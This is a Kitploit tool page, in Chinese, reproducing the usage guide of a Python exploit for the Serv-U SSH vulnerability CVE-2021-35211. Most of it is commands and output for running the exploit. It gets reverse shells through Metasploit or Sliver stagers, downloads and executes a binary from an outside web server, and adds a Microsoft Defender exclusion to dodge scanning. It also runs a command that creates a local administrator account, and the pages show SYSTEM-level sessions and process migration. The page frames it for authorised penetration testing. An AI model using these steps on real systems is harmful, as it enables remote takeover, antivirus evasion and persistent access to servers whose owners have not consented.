Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-35211 — 针对 Serv-U SSH 漏洞(CVE-2021-35211)的 Python 漏洞利用工具,支持多种载荷模式:stage、exec 和 download-execute,可实现 shellcode 执行与命令注入。 | Kitploit
工具/GitHubGitHub/bishopfox/cve-2021-35211
漏洞利用框架Payload生成漏洞分析漏洞利用渗透测试红队Shellcode 生成Payload 开发二进制利用
GitHubbishopfox/cve-2021-35211

CVE-2021-35211

针对 Serv-U SSH 漏洞(CVE-2021-35211)的 Python 漏洞利用工具,支持多种载荷模式:stage、exec 和 download-execute,可实现 shellcode 执行与命令注入。

3994年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

Serv-U CVE-2021-35211 漏洞利用程序

可能导致 DoS——请检查您的交战规则

该漏洞利用并非每次都能成功,但成功率足够高,大约每运行 5 到 6 次就有 1 次能执行 shellcode。不过,偶尔一次失败的利用会使 Serv-U 服务器崩溃。请确保您的交战规则允许存在服务丢失或降级的风险。测试中观察到的症状包括:

  • 崩溃并自动重启(最常见)
  • 在成功和不成功的尝试中都会断开已登录用户的连接
  • 崩溃后无法自动重启

风险自负。

快速开始

版本很重要。此漏洞利用程序使用硬编码的 ROP 地址,仅对 Serv-U 版本 15.2.3.717 有效。我们或许可以添加对其他版本的支持,如果您需要它适用于不同版本的 Serv-U 或 Windows,请向我们提出。

检查目标上的版本

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

运行漏洞利用程序

它接受以下参数:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

在成功攻击中,您可以使用三种模式(或载荷):

  1. stage
  2. exec
  3. downloadexec

暂存(stage)模式

利用成功后,会运行一个与 Metasploit/Sliver 兼容的 shellcode 暂存器。它是所有载荷中最不可靠的;建议改用 `downloadexec1 代替。运行方式如下:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHost 和 stagePort 将指向您 Sliver/Metasploit 机器上的监听处理程序。您可以选择任何喜欢的载荷,但我发现唯一能可靠工作的只有 windows/x64/shell/reverse_tcp。这很遗憾,因为这不是加密 shell,在弹出此类 shell 之前您需要检查交战规则。

再次强调,风险自负。

在您的 kali 机器上运行的 Metasploit 中,按如下方式设置:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

然后运行漏洞利用程序:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

回到 kali 机器上,您应该会看到暂存请求和命令 shell 的启动:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

暂存器载荷中的 Sliver 支持属于高度实验性功能,很少能成功。即便成功,您通常也会看到会话启动后立即死亡。但如果您获得一个不会立即终止的会话,则可以通过迁移到其他进程来维持您的 Sliver 访问。

在您的 Sliver 服务器上运行 stage-listener 命令来设置监听器。有关暂存的更多详细信息,请参阅 Sliver 文档:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

以暂存模式运行漏洞利用程序:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

如果漏洞利用成功(它极少能与 Sliver 或 Meterpreter 载荷配合成功),您会看到类似下面的输出(没错,那个载荷名称完全是 Sliver 自己起的!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

您应该做的第一件事是迁移到其他进程,因为您的 Sliver 会话很有可能会死亡且不再恢复,而我在撰写本文时还不知道根本原因。

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

此时,您应该会拥有一个稳定的 Sliver 会话,不受 Serv-U 和此漏洞利用程序变化莫测的影响。

下载并执行模式

这是最可靠的模式,也是最不容易被 Microsoft Defender 端点安全盯上的模式。这是因为它使用一条 Powershell 命令(powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}")为 Microsoft Defender 添加目录排除项,这样 Sliver/Meterpreter 等任何二进制文件都不会被扫描以查找恶意软件。这能保护您免受 Windows Defender 的检测,但也仅此而已;您还需要考虑其他端点安全技术、网络 IDS 等。

成功后,会从 URL 下载二进制文件并执行。您需要一个托管可执行文件的 Web 服务器。我使用的是 Python,但请注意,我是在没有 SSL 的本地网络上进行测试的。在实际利用场景中,如果您想使用未加密的 URL,则需要检查您的交战规则。

这不是第一次提醒了:风险自负。

运行一个简单的 HTTP 监听器,如下所示:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

监听器运行后,您就可以运行漏洞利用程序:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

您应该在监听器中看到类似这样的内容:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

目标将执行 calc.exe 并重启 Serv-U 服务,以允许用户重新开始连接。请注意,该可执行文件不会显示窗口,但如果您运行此示例,您应该在任务管理器中看到 wincalc.exe。

命令执行模式

成功后,会在目标上运行一条命令。运行方式如下:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

致谢

  • 对该漏洞进行模糊测试的微软研究人员:https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson 完成了我的代码所基于的 PoC:https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

结语

遗憾的是,这个漏洞利用程序确实容易导致远程进程崩溃。通常情况下它会重启;我正在尝试看看能否让它更稳定,但在那之前请记住:检查您的交战规则,并风险自负。

Serv-U 的 DLL 上禁用了 ASLR,这简直是天大的运气,省去了很多麻烦。

其他缓解措施,例如控制流保护("CFG"),也被禁用了。这同样使编写漏洞利用程序变得轻而易举,无需绕开对 GetProcAddress() 等关键函数的受限访问。

值得指出的是,我用来计算 ROP 栈地址的方法偶尔会生成一个并非 64 位对齐的地址。因此,当 GetProcAddress() 执行到 MOVAPS 指令(该指令要求内存地址对齐)时,漏洞利用程序就会崩溃。为了使漏洞利用更加可靠,一种解决方案可能是强制让 ROP 栈位于对齐的地址上;这需要对 ROP 载荷进行一番处理,就留给读者作为练习吧。

下载工具